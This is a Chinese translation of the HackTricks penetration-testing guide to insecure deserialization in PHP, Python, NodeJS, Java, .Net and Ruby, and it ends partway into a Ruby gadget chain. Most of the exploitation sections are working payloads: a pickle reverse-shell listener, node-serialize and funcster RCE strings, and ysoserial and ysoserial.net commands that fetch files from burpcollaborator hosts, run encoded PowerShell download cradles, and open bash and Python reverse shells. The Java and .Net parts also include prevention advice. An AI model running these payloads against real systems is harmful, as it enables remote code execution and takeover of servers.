Chinese - Ht
HackTricks Training Twitter Linkedin Sponsor

Deserialization

从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！

支持 HackTricks 的其他方式：

基本信息

序列化是将对象转换为可保存的格式的方法，目的是将对象存储或作为通信过程的一部分传输。这种技术通常用于确保对象可以在以后的某个时间重新创建，保持其结构和状态。

反序列化相反，是对抗序列化的过程。它涉及将以特定格式结构化的数据重新构建为对象。

反序列化可能是危险的，因为它潜在地允许攻击者操纵序列化数据以执行有害代码或在对象重建过程中导致应用程序出现意外行为。

PHP

在 PHP 中，在序列化和反序列化过程中使用了特定的魔术方法：

  • __sleep：在对象被序列化时调用。此方法应返回应该被序列化的对象的所有属性名称的数组。通常用于提交挂起数据或执行类似的清理任务。

  • __wakeup：在对象被反序列化时调用。用于重新建立可能在序列化期间丢失的任何数据库连接并执行其他重新初始化任务。

  • __unserialize：当对象被反序列化时，如果存在此方法，则调用此方法而不是 __wakeup。与 __wakeup 相比，它对反序列化过程提供了更多控制。

  • __destruct：当对象即将被销毁或脚本结束时调用此方法。通常用于清理任务，如关闭文件句柄或数据库连接。

  • __toString：此方法允许将对象视为字符串。它可用于根据其中的函数调用读取文件或执行其他任务，有效地提供对象的文本表示。

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

如果您查看结果，您会发现在对象被反序列化时会调用函数**__wakeup和__destruct。请注意，在一些教程中，您会发现在尝试打印某个属性时会调用__toString函数，但显然不再发生**这种情况。

如果在类中实现了方法**__unserialize(array $data)，则会调用该方法而不是__wakeup()**。它允许您通过提供序列化数据作为数组来对对象进行反序列化。您可以使用此方法来反序列化属性并执行任何必要的任务。

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

您可以在此处阅读一个解释PHP示例：https://www.notsosecure.com/remote-code-execution-via-php-unserialize/，或者在这里https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf，或者在这里https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP反序列化 + 自动加载类

您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容：

pagePHP - Deserialization + Autoload Classes

序列化引用值

如果出于某种原因，您想将一个值序列化为对另一个值序列化的引用，您可以：

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC 可以帮助您生成用于滥用 PHP 反序列化的有效载荷。 请注意，在许多情况下，您可能无法在应用程序的源代码中找到滥用反序列化的方法，但您可能能够滥用外部 PHP 扩展的代码。 因此，如果可能的话，请检查服务器的 phpinfo() 并在互联网上搜索（甚至在 PHPGGC 的小工具中）一些您可以滥用的可能小工具。

phar:// 元数据反序列化

如果您发现的 LFI 只是读取文件而不执行其中的 PHP 代码，例如使用 file_get_contents()，fopen()，file() 或 file_exists()，md5_file()，filemtime() 或 filesize()** 等函数**。您可以尝试滥用使用 phar 协议读取文件时发生的反序列化。 有关更多信息，请阅读以下文章：

pagephar:// deserialization

Python

Pickle

当对象被反序列化时，将执行函数 __reduce__。 当被利用时，服务器可能会返回错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

要了解有关逃离pickle jails的更多信息，请查看：

pageBypass Python sandboxes

Yaml & jsonpickle

以下页面介绍了滥用Python库中yamls的不安全反序列化技术，并最后提供了一个工具，可用于生成Pickle、PyYAML、jsonpickle和ruamel.yaml的RCE反序列化有效负载：

pagePython Yaml Deserialization

类污染（Python原型污染）

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS 魔术函数

JS 没有像 PHP 或 Python 那样会在创建对象时执行的 "魔术" 函数。但是它有一些经常被使用，即使没有直接调用的函数，比如**toString、valueOf、toJSON。 如果滥用反序列化，您可以破坏这些函数以执行其他代码**（潜在地滥用原型污染），从而在调用它们时执行任意代码。

另一种**"魔术"调用函数的方式是破坏由异步函数返回的对象**（promise）。因为，如果您将返回对象转换为另一个带有名为**"then"的函数类型属性的promise**，它将被执行，因为它是由另一个promise返回的。点击 此链接 了解更多信息。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__和prototype污染

如果你想了解这个技术，请查看以下教程：

pageNodeJS - __proto__ & prototype Pollution

node-serialize

这个库允许对函数进行序列化。示例：

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

序列化对象的格式如下：

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

在示例中，当函数被序列化时，会在序列化对象后附加 _$$ND_FUNC$$_ 标志。

在文件 node-serialize/lib/serialize.js 中，您可以找到相同的标志以及代码如何使用它。

正如您在最后一段代码中所看到的，如果找到标志，则会使用 eval 来反序列化函数，因此基本上用户输入被用在了 eval 函数内。

然而，仅仅序列化一个函数不会执行它，因为需要代码的某个部分调用 y.rce，在我们的示例中这是非常不可能的。 无论如何，您可以修改序列化对象，添加一些括号，以便在反序列化对象时自动执行序列化函数。 在下一段代码中，请注意最后的括号以及 unserialize 函数将如何自动执行代码：

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

如先前所指出，此库将获取_$$ND_FUNC$$_后的代码，并使用eval来执行它。因此，为了自动执行代码，您可以删除函数创建部分和最后的括号，然后只需执行一个JS单行代码，就像下面的示例中那样：

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

您可以在这里找到有关如何利用此漏洞的更多信息。

funcster

funcster的一个值得注意的方面是标准内置对象的不可访问性；它们超出了可访问范围。这种限制阻止了试图调用内置对象方法的代码执行，导致诸如"ReferenceError: console is not defined"的异常，当使用console.log()或require(something)等命令时。

尽管存在这种限制，通过特定方法可以恢复对全局上下文的完全访问权限，包括所有标准内置对象。通过直接利用全局上下文，可以绕过这种限制。例如，可以使用以下代码片段重新建立访问权限：

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

查看更多信息，请阅读此来源](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)。

serialize-javascript

serialize-javascript包专门设计用于序列化目的，缺乏任何内置的反序列化功能。用户需要负责实现自己的反序列化方法。官方示例建议直接使用eval来反序列化序列化数据：

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

如果此函数用于反序列化对象，您可以轻松利用它：

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

查看此来源以获取更多信息。

Cryo库

在以下页面中，您可以找到有关如何滥用此库以执行任意命令的信息：

Java - HTTP

在Java中，反序列化回调在反序列化过程中执行。攻击者可以利用这个执行过程，构造恶意有效负载来触发这些回调，从而导致潜在的有害操作执行。

指纹

白盒测试

要识别代码库中潜在的序列化漏洞，请搜索以下内容：

  • 实现Serializable接口的类。

  • 使用java.io.ObjectInputStream，readObject，readUnshare函数。

特别注意：

  • XMLDecoder与外部用户定义的参数一起使用。

  • XStream的fromXML方法，特别是如果XStream版本小于或等于1.46，则容易受到序列化问题的影响。

  • ObjectInputStream与readObject方法配合使用。

  • 实现readObject，readObjectNodData，readResolve或readExternal等方法。

  • ObjectInputStream.readUnshared。

  • 通用Serializable的使用。

黑盒测试

对于黑盒测试，请查找指示Java序列化对象的特定签名或“魔术字节”：

  • 十六进制模式：AC ED 00 05。

  • Base64模式：rO0。

  • HTTP响应头中Content-type设置为application/x-java-serialized-object。

  • 指示先前压缩的十六进制模式：1F 8B 08 00。

  • 指示先前压缩的Base64模式：H4sIA。

  • 具有.faces扩展名和faces.ViewState参数的Web文件。在Web应用程序中发现这些模式应促使进行详细检查，如关于Java JSF ViewState反序列化的帖子中所述。

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否存在漏洞

如果你想了解Java反序列化漏洞是如何工作的，你应该查看基本Java反序列化，Java DNS反序列化，以及CommonsCollection1 Payload。

白盒测试

你可以检查是否安装了任何已知漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

您可以尝试检查所有已知存在漏洞的库，并且Ysoserial可以提供利用。或者您可以检查Java-Deserialization-Cheat-Sheet上指示的库。 您还可以使用gadgetinspector来搜索可能被利用的潜在gadget链。 运行gadgetinspector（构建后），不必担心它经历的大量警告/错误，并让其完成。它将在_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_下写入所有发现。请注意，gadgetinspector不会创建利用程序，可能会指示误报。

黑盒测试

使用Burp扩展程序gadgetprobe，您可以识别可用的库（甚至版本）。有了这些信息，选择一个有效载荷来利用漏洞可能会更容易。 阅读此处以了解更多关于GadgetProbe的信息。 GadgetProbe专注于**ObjectInputStream反序列化**。

使用Burp扩展程序Java Deserialization Scanner，您可以识别易受攻击的库，可利用ysoserial进行利用。 阅读此处以了解更多关于Java Deserialization Scanner的信息。 Java Deserialization Scanner专注于**ObjectInputStream**反序列化。

您还可以使用Freddy在Burp中检测反序列化漏洞。此插件将检测不仅是ObjectInputStream相关的漏洞，还包括Json和Yml反序列化库的漏洞。在主动模式下，它将尝试使用sleep或DNS有效载荷来确认它们。 您可以在此处找到有关Freddy的更多信息。

序列化测试

并非所有内容都是关于检查服务器是否使用了任何有漏洞的库。有时您可以更改序列化对象中的数据并绕过某些检查（也许在web应用程序中授予您管理员权限）。 如果发现将Java序列化对象发送到Web应用程序，则可以使用SerializationDumper以更易读的格式打印发送的序列化对象。了解您发送的数据将更容易修改它并绕过某些检查。

利用

ysoserial

利用Java反序列化的主要工具是ysoserial（在此处下载）。您还可以考虑使用ysoseral-modified，它将允许您使用复杂命令（例如带有管道）。 请注意，此工具专注于利用**ObjectInputStream。 我建议首先使用"URLDNS"有效载荷，然后再使用RCE**有效载荷来测试是否可能进行注入。无论如何，请注意，也许"URLDNS"有效载荷无效，但其他RCE有效载荷有效。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

在为 java.lang.Runtime.exec() 创建有效载荷时，不能使用特殊字符，如 ">" 或 "|" 来重定向执行的输出，也不能使用 "$()" 来执行命令，甚至不能通过空格分隔传递给命令的参数（你可以执行 echo -n "hello world"，但不能执行 python2 -c 'print "Hello world"'）。为了正确编码有效载荷，你可以使用这个网页。

请随意使用下面的脚本为 Windows 和 Linux 创建所有可能的代码执行有效载荷，然后在易受攻击的网页上测试它们：

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

序列化杀手绕过工具

您可以使用https://github.com/pwntester/SerialKillerBypassGadgetCollection与 ysoserial 一起创建更多的利用。有关此工具的更多信息，请参阅展示工具的幻灯片：https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec可用于生成用于利用Java中不同Json和Yml序列化库的有效负载。 为了编译该项目，我需要将以下依赖项添加到 pom.xml：

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

安装 Maven，然后编译项目：

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

了解更多关于这个 Java JSON 库的信息：https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

实验室

为什么

Java 在各种情况下都广泛使用序列化，比如：

  • HTTP 请求：序列化在参数管理、ViewState、cookies 等方面被广泛应用。

  • RMI（远程方法调用）：Java RMI 协议完全依赖于序列化，在 Java 应用程序中的远程通信中起着关键作用。

  • RMI over HTTP：这种方法通常被基于 Java 的厚客户端 Web 应用程序使用，利用序列化进行所有对象通信。

  • JMX（Java 管理扩展）：JMX 利用序列化在网络上传输对象。

  • 自定义协议：在 Java 中，标准做法涉及传输原始 Java 对象，这将在即将介绍的漏洞示例中进行演示。

预防措施

瞬态对象

实现 Serializable 接口的类可以将类内部不应序列化的任何对象标记为 transient。例如：

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免对需要实现Serializable接口的类进行序列化

在某些情况下，由于类层次结构的原因，**某些对象必须实现Serializable**接口，存在意外反序列化的风险。为了防止这种情况发生，确保这些对象是不可反序列化的，方法是定义一个final的readObject()方法，始终抛出异常，如下所示：

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

增强Java中的反序列化安全性

自定义java.io.ObjectInputStream 是保护反序列化过程的一种实用方法。当以下情况适用时，这种方法很合适：

  • 反序列化代码在您的控制范围内。

  • 已知用于反序列化的类。

重写 resolveClass() 方法以将反序列化限制为仅允许的类。这可以防止对除了明确允许的类之外的任何类进行反序列化，例如以下示例将反序列化限制为仅限Bicycle类：

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

使用Java代理进行安全增强提供了一种备用解决方案，当无法修改代码时。这种方法主要适用于对有害类进行黑名单处理，使用JVM参数：

-javaagent:name-of-agent.jar

它提供了一种动态保护反序列化的方式，非常适用于需要立即改变代码不切实际的环境。

查看示例rO0 by Contrast Security

实现序列化过滤器：Java 9通过**ObjectInputFilter**接口引入了序列化过滤器，提供了一个强大的机制，用于指定序列化对象在反序列化之前必须满足的条件。这些过滤器可以全局应用或针对每个流应用，为反序列化过程提供了细粒度的控制。

要使用序列化过滤器，您可以设置一个适用于所有反序列化操作的全局过滤器，或者为特定流动态配置它。例如：

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

利用外部库增强安全性：诸如NotSoSerial、jdeserialize和Kryo等库提供了高级功能，用于控制和监视Java反序列化。这些库可以提供额外的安全层，如对类进行白名单或黑名单处理、在反序列化之前分析序列化对象以及实施自定义序列化策略。

  • NotSoSerial 拦截反序列化过程，以防止执行不受信任的代码。

  • jdeserialize 允许分析序列化的Java对象而无需对其进行反序列化，有助于识别潜在的恶意内容。

  • Kryo 是一种注重速度和效率的替代序列化框架，提供可配置的序列化策略，可增强安全性。

参考资料

JNDI 注入 & log4Shell

在以下页面中找到JNDI 注入是什么，如何通过 RMI、CORBA 和 LDAP 滥用它以及如何利用 log4shell（以及此漏洞的示例）：

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java 消息服务

Java 消息服务（JMS）API 是用于在两个或多个客户端之间发送消息的 Java 面向消息的中间件 API。它是一个处理生产者-消费者问题的实现。JMS 是 Java 平台企业版（Java EE）的一部分，由 Sun Microsystems 制定的规范定义，但现在由 Java 社区流程指导。它是一种允许基于 Java EE 的应用程序组件创建、发送、接收和读取消息的消息标准。它允许分布式应用程序的不同组件之间的通信是松散耦合、可靠和异步的。（来自 Wikipedia）。

产品

有几种产品使用此中间件发送消息：

利用

因此，基本上有一堆服务以危险的方式使用 JMS。因此，如果您有足够的权限向这些服务发送消息（通常需要有效凭据），您可能能够发送序列化的恶意对象，将由消费者/订阅者进行反序列化。 这意味着在此利用中，所有将使用该消息的客户端都将受到感染。

您应该记住，即使服务存在漏洞（因为它不安全地反序列化用户输入），您仍然需要找到有效的小工具来利用漏洞。

工具JMET 是为了连接和攻击这些服务，发送使用已知小工具序列化的多个恶意对象而创建的。如果服务仍然存在漏洞，并且使用的任何小工具中有任何一个在易受攻击的应用程序中，这些利用将起作用。

参考资料

.Net

在 .Net 的背景下，反序列化利用的操作方式类似于 Java 中发现的方式，其中利用小工具在对象反序列化期间运行特定代码。

指纹

白盒测试

应检查源代码中是否存在以下内容：

  1. TypeNameHandling

  2. JavaScriptTypeResolver

重点应放在允许类型由用户控制的变量确定的序列化程序上。

黑盒测试

搜索应针对在服务器端可能进行反序列化的 Base64 编码字符串 AAEAAAD///// 或任何类似模式，从而控制要反序列化的类型。这可能包括但不限于具有 TypeObject 或 $type 的 JSON 或 XML 结构。

ysoserial.net

在这种情况下，您可以使用工具 ysoserial.net 来 创建反序列化利用。一旦下载了 git 存储库，您应该使用例如 Visual Studio 编译该工具。

如果您想了解 ysoserial.net 如何创建其利用，您可以 查看此页面，其中解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter。

ysoserial.net 的主要选项包括：--gadget、--formatter、--output 和 --plugin。

  • --gadget 用于指示要滥用的 gadget（指示在反序列化期间将被滥用以执行命令的类/函数）。

  • --formatter 用于指示序列化利用的方法（您需要知道后端使用哪个库来反序列化有效负载，并使用相同的库来序列化它）

  • --output 用于指示是否希望以 原始 或 base64 编码的形式获得利用。_请注意，ysoserial.net 将使用 UTF-16LE（Windows 上默认使用的编码）对有效负载进行 编码，因此如果您获得原始有效负载并仅从 Linux 控制台对其进行编码，可能会出现一些 编码兼容性问题，这将阻止利用正常工作（在 HTB JSON 盒子中，有效负载在 UTF-16LE 和 ASCII 中都有效，但这并不意味着它总是有效）。

  • --plugin ysoserial.net 支持为特定框架制作 利用插件

更多 ysoserial.net 参数

  • --minify 将提供一个 更小的有效负载（如果可能）

  • --raf -f Json.Net -c "anything" 这将指示可以与提供的格式化程序（在本例中为 Json.Net）一起使用的所有 gadget

  • --sf xml 您可以 指定一个 gadget（-g），ysoserial.net 将搜索包含 "xml" 的格式化程序（不区分大小写）

ysoserial 示例 创建利用：

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net 还有一个非常有趣的参数，有助于更好地理解每个漏洞利用方式：--test。如果您指定了这个参数，ysoserial.net 将在本地尝试该漏洞利用，这样您就可以测试您的有效负载是否能正常工作。这个参数很有帮助，因为如果您查看代码，您会发现类似以下代码块的代码（来自ObjectDataProviderGenerator.cs）：

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

这意味着为了测试漏洞利用，代码将调用serializersHelper.JsonNet_deserialize。

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

在先前的代码中存在漏洞。因此，如果在一个 .Net 应用程序中发现类似的情况，那么该应用程序很可能也存在漏洞。 因此，--test 参数允许我们了解哪些代码块容易受到 ysoserial.net 可创建的反序列化漏洞的影响。

ViewState

查看关于如何尝试利用 .Net 的 __ViewState 参数执行任意代码的这篇 POST，如果你已经知道受害者机器使用的秘密，阅读这篇文章以了解如何执行代码。

预防措施

为了减轻 .Net 中反序列化带来的风险：

  • 避免允许数据流定义其对象类型。 尽可能使用 DataContractSerializer 或 XmlSerializer。

  • 对于 JSON.Net，将 TypeNameHandling 设置为 None： %%%TypeNameHandling = TypeNameHandling.None%%%

  • 避免使用带有 JavaScriptTypeResolver 的 JavaScriptSerializer。

  • 限制可以反序列化的类型，了解 .Net 类型的固有风险，例如 System.IO.FileInfo 可以修改服务器文件属性，可能导致拒绝服务攻击。

  • 谨慎处理具有风险属性的类型，例如 System.ComponentModel.DataAnnotations.ValidationException 的 Value 属性可能会被利用。

  • 安全地控制类型实例化，以防止攻击者影响反序列化过程，即使是 DataContractSerializer 或 XmlSerializer 也会有漏洞。

  • 使用自定义 SerializationBinder 实现白名单控制，适用于 BinaryFormatter 和 JSON.Net。

  • 了解 .Net 中已知的不安全反序列化小工具，确保反序列化器不会实例化此类类型。

  • 隔离潜在风险代码，避免将已知小工具（例如 WPF 应用程序中的 System.Windows.Data.ObjectDataProvider）暴露给不受信任的数据源。

参考资料

Ruby

在 Ruby 中，序列化由 marshal 库中的两种方法实现。第一种方法称为 dump，用于将对象转换为字节流。这个过程称为序列化。相反，第二种方法 load 用于将字节流恢复为对象，这个过程称为反序列化。

为了保护序列化对象，Ruby 使用 HMAC（基于哈希的消息认证码），确保数据的完整性和真实性。用于此目的的密钥存储在以下几个可能的位置之一：

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X 通用反序列化到 RCE 小工具链（更多信息请参阅 https://www.elttam.com/blog/ruby-deserialization/）：

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


